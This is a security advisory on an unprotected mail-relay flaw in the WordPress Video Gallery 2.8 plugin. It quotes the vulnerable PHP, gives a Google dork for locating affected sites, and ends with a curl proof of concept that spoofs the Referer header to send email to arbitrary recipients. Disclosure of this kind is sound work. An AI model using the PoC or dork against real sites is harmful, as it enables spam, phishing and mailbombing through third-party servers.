Wordpress Video Gallery Plugin 2.8 Arbitrary Mail Relay

2015-05-26 05:05:45

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# Exploit Title : Wordpress Video Gallery 2.8 Unprotected Mail Page

# Exploit Author : Claudio Viviani

# Website Author: http://www.homelab.it
http://archive-exploit.homelab.it/1 (Full HomelabIT Vulns Archive)

# Vendor Homepage : http://www.apptha.com/category/extension/Wordpress/Video-Gallery

# Software Link : https://downloads.wordpress.org/plugin/contus-video-gallery.2.8.zip

# Dork Google: index of "contus-video-gallery"

# Date : 2015-04-05

# Tested on : Windows 7 / Mozilla Firefox
Linux / Mozilla Firefox

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# Description

Wordpress Video Gallery 2.8 suffers from Unprotected Mail Page.

This vulnerability is exploitable to dos, phishing, mailbombing, spam...

The "email" ajax action is callable from any guest visitor (/contus-video-gallery/hdflvvideoshare.php)

/**
* Email function
*/
add_action( 'wp_ajax_email', 'email_function' );
add_action( 'wp_ajax_nopriv_email', 'email_function' );

function email_function() {
require_once( dirname( __FILE__ ) . '/email.php' );
die();
}

Any user can send email from /contus-video-gallery/email.php to any recipients.

The variables used to send emails are:

$to = filter_input( INPUT_POST, 'to', FILTER_VALIDATE_EMAIL );
$from = filter_input( INPUT_POST, 'from', FILTER_VALIDATE_EMAIL );
$url = filter_input( INPUT_POST, 'url', FILTER_VALIDATE_URL );
$subject = filter_input( INPUT_POST, 'Note', FILTER_SANITIZE_STRING );
$message_content = filter_input( INPUT_POST, 'Note', FILTER_SANITIZE_STRING );
$title = filter_input( INPUT_POST, 'title', FILTER_SANITIZE_STRING );
$referrer = parse_url( $_SERVER['HTTP_REFERER'] );
$referrer_host = $referrer['scheme'] . '://' . $referrer['host'];
$pageURL = 'http';

It assumes that if the provided “Referrer” field fits the website’s URL, then it’s okay to send this email:

if ( $referrer_host === $pageURL ) {
$headers = "MIME-Version: 1.0" . "\r\n";
$headers .= "Content-type:text/html;charset=UTF-8" . "\r\n";
$headers .= "From: " . "<" . $from . ">\r\n";
$headers .= "Reply-To: " . $from . "\r\n";
$headers .= "Return-path: " . $from;
$username = explode('@' , $from );
$username = ucfirst($username['0']);
$subject = $username . ' has shared a video with you.';
$emailtemplate_path = plugin_dir_url( __FILE__ ).'front/emailtemplate/Emailtemplate.html';
$message = file_get_contents( $emailtemplate_path);
$message = str_replace( '{subject}', $subject, $message );
$message = str_replace( '{message}', $message_content, $message);
$message = str_replace( '{videourl}',$url,$message );
$message = str_replace('{username}',$username ,$message );
if ( @mail( $to, $title, $message, $headers ) ) {
echo 'success=sent';
} else {
echo 'success=error';
}
} else {
echo 'success=error';
}

The “Referer” field can easily be modified by the attacker!

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# PoC

curl -X POST -d "[email protected]&[email protected]&Note=BodyMessage&title=Subject&url=http://www.homelab.it" \
-e http://127.0.0.1 http://127.0.0.1/wp-admin/admin-ajax.php?action=email

cUrl switch "-e" spoof referer address

# Http Response

success=sent

# Poc Video

http://youtu.be/qgOGPm1-tNc

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Discovered By : Claudio Viviani
http://www.homelab.it
http://archive-exploit.homelab.it/1 (Full HomelabIT Archive Exploit)
http://ffhd.homelab.it (Free Fuzzy Hashes Database)

[email protected]
[email protected]

https://www.facebook.com/homelabit
https://twitter.com/homelabit
https://plus.google.com/+HomelabIt1/
https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww

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Fixes

No fixes

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